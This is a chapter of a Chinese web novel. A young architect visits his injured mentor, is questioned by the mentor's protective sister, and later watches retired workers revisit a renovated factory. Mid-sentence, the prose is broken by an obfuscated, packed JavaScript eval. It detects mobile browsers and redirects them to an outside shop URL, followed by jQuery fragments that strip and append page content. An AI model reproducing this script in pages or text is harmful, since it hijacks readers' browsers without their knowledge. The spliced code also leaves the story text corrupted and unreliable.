周六早晨，林溪提着一个保温桶站在顾怀瑾公寓楼下。


    保温桶里是李阿姨熬的骨头汤——据说对伤口愈合好。林溪站在电梯里，盯着楼层数字跳动，心里莫名紧张。这不是他第一次来，但上次顾怀瑾受伤昏迷，这次是清醒的。


    门铃按响后，开门的却是顾怀玥。


    她穿着居家服，头发随意挽起，看到林溪时愣了一下，随即露出得体的微笑：“林工，请进。”


    公寓里很安静，有淡淡的消毒水味和中药味。客厅窗帘拉开一半，阳光斜射进来，照亮空气中漂浮的微尘。顾怀瑾坐在落地窗旁的躺椅上，盖着薄毯，手里拿着一本书。看见林溪，他微微点头。


    “顾总。”林溪把保温桶放在茶几上，“李阿姨让带的汤。”


    “谢谢。”顾怀瑾的声音还有些沙哑，“工地怎么样？”


    “按计划推进。赵师傅的排水系统效果很好，地下水位稳定了。”


    顾怀玥端来茶，放在林溪面前：“林工坐。怀瑾这几天总念叨工地的事。”


    她用的是“念叨”，不是“关心”。林溪敏锐地捕捉到其中的微妙差别。


    “姐。”顾怀瑾看了她一眼。


    “好好好，我不说。”顾怀玥笑了笑，在林溪对面坐下，“林工今年二十三？”


    “是。”


    “年轻有为。”她端起茶杯，“我听怀瑾说，你祖父是林老？”


    “是的。”


    “那算家学渊源了。”顾怀玥的视线落在林溪脸上，温和但锐利，“不过建筑这行辛苦，你家里人支持吗？”


    林溪意识到这不是闲聊，是某种形式的“审查”。


    “他们尊重我的选择。”


    “那就好。”顾怀玥顿了顿，“怀瑾当年选建筑，我父亲是反对的。觉得太苦，不如学金融或者法律。”


    顾怀瑾放下书：“姐，说这些做什么。”


    “闲聊嘛。”顾怀玥依然看着林溪，“林工，你知道怀瑾为什么这么拼吗？”


    林溪摇头。


    “因为他觉得欠债。”顾怀玥的语气很平静，像在说一件寻常事，“欠父亲的债。父亲晚年糊涂了，总说‘我没建过一栋好房子’。怀瑾就把这话背在身上，发誓要建很多好房子。”


    “姐。”顾怀瑾的声音沉下来。


    “我说错了吗？”顾怀玥转头看他，“你这些年接了多少不赚钱的旧改项目？帮多少人收拾烂摊子？上次在印度差点没命，这次又——”


    她停住，深吸一口气，重新转向林溪时，笑容又回来了：“抱歉，我太激动了。只是当姐姐的，总是担心。”


    客厅陷入短暂的沉默。阳光在地板上缓慢移动。


    顾怀瑾开口，语气很淡：“林溪，去书房帮我拿一下桌上的图纸。”


    这是支开他。林溪起身：“哪张？”


    “最上面那张，厂房的剖面图。”


    书房门在身后关上，隔断了客厅的声音。但隔音并不好，林溪还是能隐约听见对话。


    “你没必要这样。”顾怀瑾的声音。


    “我是你姐，我得知道他是谁，为什么你这么信任他。”顾怀玥的声音压低了些，“他太年轻了，怀瑾。年轻意味着不稳定，意味着——”


    “意味着什么？”顾怀瑾打断她，“意味着像我当年一样？”


    沉默。


    林溪站在书房里，没有立刻找图纸。书桌上很整洁，文件分门别类。最上面确实是一张剖面图，但不是厂房的——是图书馆的。他认出来，那是他独立完成的第一个项目。


    图纸上有红笔批注，比他记忆中少很多，只在几个关键节点画了圈。右下角有顾怀瑾的签名，日期是图书馆开馆那天。


    旁边还有一行小字，他上次没注意到：“初代作品，保留瑕疵。”


    林溪的手指抚过那些字。纸张的触感很真实，墨迹已经干透。


    客厅传来顾怀玥的声音，更轻了，但林溪还是听清了：


    “爸走的时候，抓着你的手说‘别学我’。你答应了的。”


    “我没有学他。”顾怀瑾的声音很平静，“我在做他没机会做的事。”


    “但代价呢？你的健康？你的生活？你现在连个像样的家都没有——”


    “我有我的选择，姐。”


    “我知道你有选择。”顾怀玥的声音里有压抑的哽咽，“我只是……只是怕你太像他了。怕你到最后，也觉得自己‘没建过一栋好房子’。”


    长久的沉默。


    林溪拿起图纸，推门出去。


    客厅里，顾怀玥已经站起身，背对着窗户。肩膀微微颤抖。顾怀瑾看着窗外，侧脸线条紧绷。


    “图纸。”林溪把图纸递过去。


    顾怀瑾接过，没有看，只是放在膝上：“谢谢。”


    顾怀玥转过身，眼睛有点红，但笑容还在：“林工，让你见笑了。”


    “没有。”林溪说，“家人担心，是正常的。”


    这话让顾怀玥怔了怔。她看着林溪，眼神里的审视淡了些，多了些别的什么。


    “林工，”她轻声问，“你觉得怀瑾是个好建筑师吗？”


    “姐。”顾怀瑾皱眉。


    “我想听他说。”


    林溪看向顾怀瑾。他的导师坐在阳光里，肩上还缠着绷带，脸色苍白，但脊背挺直。那个总是强大、冷静、无所不能的人，此刻在姐姐面前，露出了某种孩子般的倔强。


    “顾总是不是好建筑师，”林溪缓缓开口，“不是由奖项或者项目大小决定的。”


    他顿了顿：“图书馆建成那天，社区里最老的孙爷爷说，这房子‘有心’。他看不见结构计算，看不懂材料选择，但他能感觉到，建这房子的人，是真心想让他们好。”


    他转向顾怀玥：“我觉得，能让使用者感觉到‘有心’，就是好建筑师。”


    客厅里很安静。阳光在地板上移动了一寸。


    顾怀玥的眼圈又红了。她点点头，没有说话，转身走向厨房：“我去热汤。”


    顾怀瑾看着林溪。阳光落在他眼里，很亮。


    “坐。”他说。


    林溪在旁边的单人沙发坐下。茶几上那本书还摊开着——是一本诗集，翻开的那页上有一句被画了线：


    “有些人用一生建造房屋，有些人用一生成为房屋。”


    字迹是顾怀瑾的。


    “我父亲画的线。”顾怀瑾顺着他的视线看去，“他晚年喜欢读诗。说诗比建筑诚实，因为诗承认自己无法解决所有问题。”


    林溪想起那张烧焦的草图，想起颤抖的线条，想起“窗要开大”的叮嘱。


    “您父亲他……其实建了很多好房子。”林溪说，“至少对赵秀英来说，他给了她一个梦。”


    “但也只是一个梦。”顾怀瑾轻声说，“没有实现。”


    “梦本身就有价值。”林溪看着他，“赵师傅守了那个梦四十年。如果梦没有价值


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193491|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，她不会守。”


    顾怀瑾沉默了。他看向窗外，城市的轮廓在阳光下清晰而遥远。


    顾怀玥端着热好的汤出来，气氛缓和了许多。三个人坐下来，聊了些轻松的话题：工地趣事，老工人们的回忆，李阿姨又学会了什么新菜。


    临走时，顾怀玥送林溪到门口。


    “林工，”她说，“怀瑾很少这么信任一个人。他很挑剔，对自己对别人都是。所以……谢谢你。”


    这话很真诚。林溪点头：“应该的。”


    “还有，”她犹豫了一下，“如果……如果他以后又做危险的决定，麻烦你拦着他。或者至少，告诉我。”


    林溪看着她眼里的担忧，点了点头：“好。”


    电梯下行时，林溪靠在轿厢壁上，闭上眼睛。


    脑海里回放着客厅里的对话，那些担忧、争吵、和解。一个家庭内部的张力，一个姐姐对弟弟近乎本能的保护欲，一个男人对父亲未竟之志的复杂继承。


    回到工地时，已是下午。老陈告诉他，老工人们来了，想看看赵秀英的设计实现得怎么样。


    林溪走进厂房。十几个老人站在那里，仰头看那些新与旧结合的结构。李阿姨站在导流渠边，看着水流，眼泪无声地流。


    “秀英看到的话……”她哽咽着说。


    一个老爷爷走到渗水井旁，蹲下身，用手掬起一捧水：“这水……跟当年车间地下的水，一个温度。”


    记忆在流淌，在重生。


    林溪站在一旁，看着这些白发苍苍的见证者。他们抚摸新浇筑的混凝土，就像抚摸老朋友的肩膀。他们指着某处说“这里原来有台机器”，指着另一处说“赵师傅常在这儿休息”。


    这个空间，因为这些记忆，真正活过来了。


    傍晚，老人们离开后，林溪独自留在厂房里。夕阳从西窗射入，把一切都染成金色。导流渠的水声在空旷中回响，像心跳。


    他拿出手机，给顾怀瑾发了条消息：


    “老工人们今天来了。李阿姨哭了，说赵师傅会高兴的。”


    几分钟后，回复来了：


    “她会高兴的。我们做对了。”


    简单的“我们”。


    林溪看着那两个字，看了很久。


    然后他收起手机，走向地下室。感应灯亮起，照亮赵秀英的工作台。笔记本还放在原处，在玻璃保护罩下。


    他隔着玻璃，轻轻碰了碰封面。


    “谢谢您。”他轻声说。


    外面传来工人们收工的说笑声。一天结束了。


    但有些东西，刚刚开始。


    ---


    深夜，林溪在公寓里整理今天的照片。老工人们的笑脸，李阿姨的眼泪，阳光下的水流，还有顾怀瑾书房里那张批注过的图纸。


    他打开电脑，开始写本周的工作汇报。但写了几个字，又删掉。


    重新开始：


    “顾总：


    今天工地一切顺利。另外，想跟您说——


    您父亲建的房子，也许没有都留下来，但它们曾经温暖过一些人。而那些人，用一生记住了那”种温暖。”


    他停顿，继续写：


    “您建的房子，也会被记住的。至少，我会记住。”


    光标在句尾闪烁。林溪看着屏幕，很久。


    然后，他按下了删除键。


    有些话，现在还不是时候。


    但有些种子，已经种下了。